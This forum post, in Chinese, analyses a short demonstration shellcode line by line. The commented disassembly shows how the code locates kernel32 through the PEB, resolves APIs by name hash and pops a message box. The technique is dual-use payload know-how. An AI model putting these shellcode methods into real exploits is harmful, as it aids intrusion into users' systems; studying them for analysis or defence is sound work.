完全分析failwest Sir's Shellcode

来源:互联网 发布:それに それで知乎 编辑:程序博客网 时间:2024/05/02 02:26
标 题: 【原创】完全分析failwest Sir's Shellcode
作 者: fqucuo
时 间: 2007-12-26,13:14
链 接: http://bbs.pediy.com/showthread.php?t=57128
【详细过程】

这个Shellcode是failwest Sir 在第7讲中列出来的,如有需要,自己去下。

相信很多菜鸟跟我一样,第一次接触shellcode,确已经被failwest Sir的几篇短小精悍的文章所吸引,并入了门,但是前方的路还是很长,其中也是failwest Sir提到的那5个问题,其中第1个和第5个我相信如果是勤奋的"黑客",多加思考很快就可以出答案的,今天,也就是failwest Sir的Shellcode主要是解决了第2和第3个问题:如果布置缓冲区和动态获取API。

其实分析此Shellcode也是因为我在动态获取API这块有所迷茫,第一次分析failwest Sir的shellcode也是一头雾水,并且自己用遍历法实现了动态获取API的过程,但是其代码量极其可观,而一个过长的shellcode哪怕再通用与稳定也是废品,在百思不得其解的时候又回过头决定硬是要吧failwest Sir的这段短小精悍的Shellcode研究明白,这也是此文的目的:对于和我一样迷茫在这两个问题之间的菜鸟们,对于已经理解的就不需要继续看下去了。

Ok,废话不多说了,我们还是先来看code吧!

首先自己随便写个程序把shellcode加载进去,再次这段加载过程不予叙述(什么?不会?你先把failwest Sir的前6讲看懂了再来!),还有就是这段代码汇编难度不是很高,大部分地方我都有注释,看懂应该不难

那么我们就直接走到这段shellcode的起始地址

0012FF34 FC cld ; 置串操作方向标志为0,也就是递增方式
0012FF35 68 6A0A381E push 1E380A6A ; 放入3个加密过的函数名 暂时不管
0012FF3A 68 6389D14F push 4FD18963
0012FF3F 68 3274910C push 0C917432
这3个4字节的push的一开始我也不清楚,估计大家也都不清楚,没关系,后面我们就知道它是做什么用的了

0012FF44 8BF4 mov esi, esp ; esi保存函数名字符串首地址
0012FF46 8D7E F4 lea edi, dword ptr [esi-C] ; ?
因为esi保存了esp的地址,再-0xC也就是栈顶往上0xC个字节,其实是用来存放上面3个函数名的函数指针(地址)

0012FF49 33DB xor ebx, ebx
0012FF4B B7 04 mov bh, 4
0012FF4D 2BE3 sub esp, ebx ; 调整esp栈顶
这部分就是布置缓冲区的操作,将esp - 0x0400,也就是将栈顶向上调整400字节,哈哈,够用了吧!,

0012FF4F 66:BB 3332 mov bx, 3233
0012FF53 53 push ebx
0012FF54 68 75736572 push 72657375 ; user32
push了一个user32字符串编码

0012FF59 54 push esp ; user32作为LoadLibrary参数压栈
push了user32字符串的首地址

0012FF5A 33D2 xor edx, edx
0012FF5C 64:8B5A 30 mov ebx, dword ptr fs:[edx+30] ;得到PEB首地址
0012FF60 8B4B 0C mov ecx, dword ptr [ebx+C] ; 得到LDT
0012FF63 8B49 1C mov ecx, dword ptr [ecx+1C]
0012FF66 8B09 mov ecx, dword ptr [ecx]
0012FF68 8B69 08 mov ebp, dword ptr [ecx+8] ; 找到Kernel32的首地址
这一部分有必要解释一下,我们都知道要获取API就要先找到LoadLibrary,(我是喜欢先找GetProcAddress,因为有了他,嘿嘿!不过原文中是用来做例子的,其例子效果大家调试后就知道是个MessageBox,并显出failwest Sir的大名,然后程序退出,不过到了真实的战场,估计不会让目标进程Over吧?),而要找到LoadLibrary就要先找到kernel32在目标进程的基地址,其实解决方案也挺多了,我知道的两种:1. 遍历法,通过一个找一个程序中调用的kernel内部函数的地址,然后向低地址遍历,通过分析PE的方式去找就完事了(具体方法不属于本范围内容,估不予实现)2,也就是failwest Sir的方式,通过PEB找到Kernel32的加载地址(第2种是我抄failwest Sir的,(*^__^*) 嘻嘻……)。

我们知道fs:[0]指向的是TEB(线程环境块),fs:[30]指向的是(进程环境块),在进程环境块中其第0xC的位置存放置一个指向 PEB_LDT_DATA结构的 Pointer,这个Pointer又指向一个_LDR_MODULE的结构,在这个结构里的第0x1C位置就是EntryPoint,而这个 EntryPoint就是Kernel32 的加载地址!
为了解释这个方法,我决定先转载部分内容(因为是复制的,网站关了网址也忘了,哎~,如果那位仁兄看到了别骂我啊!)

strcut PEB_LDT_DATA
+0x00c Ldr : Ptr32 to struct _PEB_LDR_DATA, 7 elements, 0x28 bytes
+0x000 Length : Uint4B
+0x004 Initialized : UChar
+0x008 SsHandle : Ptr32 to Void
+0x00c InLoadOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes
+0x000 Flink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
+0x004 Blink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
+0x014 InMemoryOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes
+0x000 Flink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
+0x004 Blink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
+0x01c InInitializationOrderModuleList : struct _LIST_ENTRY, 2 elements, 0x8 bytes
+0x000 Flink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
+0x004 Blink : Ptr32 to struct _LIST_ENTRY, 2 elements, 0x8 bytes
+0x024 EntryInProgress : Ptr32 to Void

未公开的LDR_MODULE数据结构如下:
typedef struct _LDR_MODULE
{
LIST_ENTRY InLoadOrderModuleList; // +0x00
LIST_ENTRY InMemoryOrderModuleList; // +0x08
LIST_ENTRY InInitializationOrderModuleList; // +0x10
PVOID BaseAddress; // +0x18
PVOID EntryPoint; // +0x1c
ULONG SizeOfImage; // +0x20
UNICODE_STRING FullDllName; // +0x24
UNICODE_STRING BaseDllName; // +0x2c
ULONG Flags; // +0x34
SHORT LoadCount; // +0x38
SHORT TlsIndex; // +0x3a
LIST_ENTRY HashTableEntry; // +0x3c
ULONG TimeDateStamp; // +0x44
// +0x48
} LDR_MODULE, *PLDR_MODULE;

OK现在我们得到了Kernel32的首地址,那下一步干什么呢?对了!就是通过解析PE的方式去找我们的需要的导出函数。

0012FF6B AD lods dword ptr [esi] ; 忘了吗?esi保存着函数名字符串首地址呢,取4字节加密过的函数名到eax中,esi递增4,当然了,在本例中为了实现MessageBox肯定是先找 LoadLibrary了
0012FF6C 3D 6A0A381E cmp eax, 1E380A6A ; 与加过密MessageBoxA做比较
0012FF71 75 05 jnz short 0012FF78 ;
0012FF73 95 xchg eax, ebp ;技巧性指令,通过一个xchg一个字节的指令完成两【寄存器值】交换
0012FF74 FF57 F8 call dword ptr [edi-8] ; 这里为什么要-8,那是因为作者将3个加密过的函数字符串按照先LoadLibrary的顺序,第3个又是1E380A6A,当到了第3个的时候,就会去调LoadLibrary,因为那个时候已经得到了LoadLibrary的函数指针,也就得到了user32的首地址

0012FF77 95 xchg eax, ebp

这里开始就是解析PE了,其顺序是NT_HEADER -> 导出表地址 -> 导出表结构地址 -> 得到导出表函数名数组首地址 -> 遍历数组并取数组内容 + KernelBase的字符串内容通过加密得到最终的4字节数据与我们的LoadLibrary(0C917432)比较,找到了就跳出来,这个时候我们也得到了其数组的下标
0012FF78 60 pushad
0012FF79 8B45 3C mov eax, dword ptr [ebp+3C] ; 1. m_elfnew PE头偏移
0012FF7C 8B4C05 78 mov ecx, dword ptr [ebp+eax+78] ; 2. 导出表数据目录偏移
0012FF80 03CD add ecx, ebp ; 3. RVA + Base
0012FF82 8B59 20 mov ebx, dword ptr [ecx+20] ; 4. EXPOT_DIRECTORY中的AddressOfNames
0012FF85 03DD add ebx, ebp ; RVA + Base
0012FF87 33FF xor edi, edi
0012FF89 47 inc edi ; 5. 计数器(用来取索引值的)置1
0012FF8A 8B34BB mov esi, dword ptr [ebx+edi*4] ; 取得函数名RVA
0012FF8D 03F5 add esi, ebp ; RVA + Base
0012FF8F 99 cdq ; 技巧性指令,当eax >=0 or eax <0x8000000时,edx清零
0012FF90 0FBE06 movsx eax, byte ptr [esi]
0012FF93 3AC4 cmp al, ah ; 每次取一个字节,遇0结束
0012FF95 74 08 je short 0012FF9F
0012FF97 C1CA 07 ror edx, 7
0012FF9A 03D0 add edx, eax
0012FF9C 46 inc esi
0012FF9D ^ EB F1 jmp short 0012FF90
0012FF9F 3B5424 1C cmp edx, dword ptr [esp+1C] ; 比较是否等于我们的加密过的函数值
0012FFA3 ^ 75 E4 jnz short 0012FF89

这里通过刚才得到的下标转换成索引去找对应函数的RVA,找到后再加上KernelBase就是我们需要的函数指针了
0012FFA5 8B59 24 mov ebx, dword ptr [ecx+24] ; 取AddressOfNameOrdinals
0012FFA8 03DD add ebx, ebp ; RVA + Base
0012FFAA 66:8B3C7B mov di, word ptr [ebx+edi*2] ; 通过计数器值转换对应函数的索引值
0012FFAE 8B59 1C mov ebx, dword ptr [ecx+1C] ; 取AddrssOfFunctions
0012FFB1 03DD add ebx, ebp ; RVA + Base
0012FFB3 032CBB add ebp, dword ptr [ebx+edi*4] ; ebp得到函数指针(也就是函数地址)
0012FFB6 95 xchg eax, ebp
0012FFB7 5F pop edi
0012FFB8 AB stos dword ptr es:[edi] ; 存放函数指针
0012FFB9 57 push edi ; 因为stos执行会使edi自加,所以这个时候edi跑到了下4个字节首地址,而3个指令仅仅只有3个字节的大小!强!
0012FFBA 61 popad

0012FFBB 3D 6A0A381E cmp eax, 1E380A6A
0012FFC0 ^ 75 A9 jnz short 0012FF6B
这里算是整个遍历的结尾,具体细节请参考罗云彬《Windows环境下32位汇编语言程序设计(第2版)》P678,这里就不做解释了

大概的思路就是:因为我们只有函数名,所以不能直接通过索引取函数RVA,要先遍历函数名数组中的各成员,看谁能配对,找到了就记下当时的下标,在把下标通过AddressOfNameOrdinals转换成函数索引,在从AddressOfFunctions中取该索引的RVA,再加上 KernelBase就得到对应API的地址,然后再存放入先前的edi地址中。然后比较是否是MessageBox不是的话再回到上面继续去找


这个地方熟悉吗? 哈哈,跟过前面几个教程的一定对这里很眼熟,对了,就是弹出failwest Sir的大名对话框,哈,failwest Sir的劣根还真深 啊。。
0012FFC2 33DB xor ebx, ebx
0012FFC4 53 push ebx
0012FFC5 68 77657374 push 74736577
0012FFCA 68 6661696C push 6C696166
0012FFCF 8BC4 mov eax, esp
0012FFD1 53 push ebx
0012FFD2 50 push eax
0012FFD3 50 push eax
0012FFD4 53 push ebx
0012FFD5 FF57 FC call dword ptr [edi-4]
0012FFD8 53 push ebx
0012FFD9 FF57 F8 call dword ptr [edi-8]


整体分析就这么多了,相信通过这么多注释看懂应该不是问题了,当然有些不正确的地方还望过路人不吝赐教。

结尾再说几句,通过分析这段Shellcode,我们不难看出,一个良好的Shellcode应该具有的品质:短小精悍(只有168个字节就完成动态 API的查找任务,并且还可以查多个),扩展性(只需要简单的替换掉其中的常量加密过的值(加密过的值是不能逆推的)就OK),通用性(这点我要说的是,文中使用到的PEB结构或许在Xp下有用,Visit呢?不一定哦),稳定性(稳定压倒一切嘛)。。。还有什么我就不知道了

其加密方式应该是hash吧? 这部分不是很懂,所以不敢妄加论言,希望有高手指点指点

代码的精简:例子中经常用到短小精悍的指令就完成了诸多任务,可以看出作者其功力之深厚(这不是废话嘛!),我相信一定也解决了大部分同志的苦恼,再次感谢failwest Sir!

本文到此结束!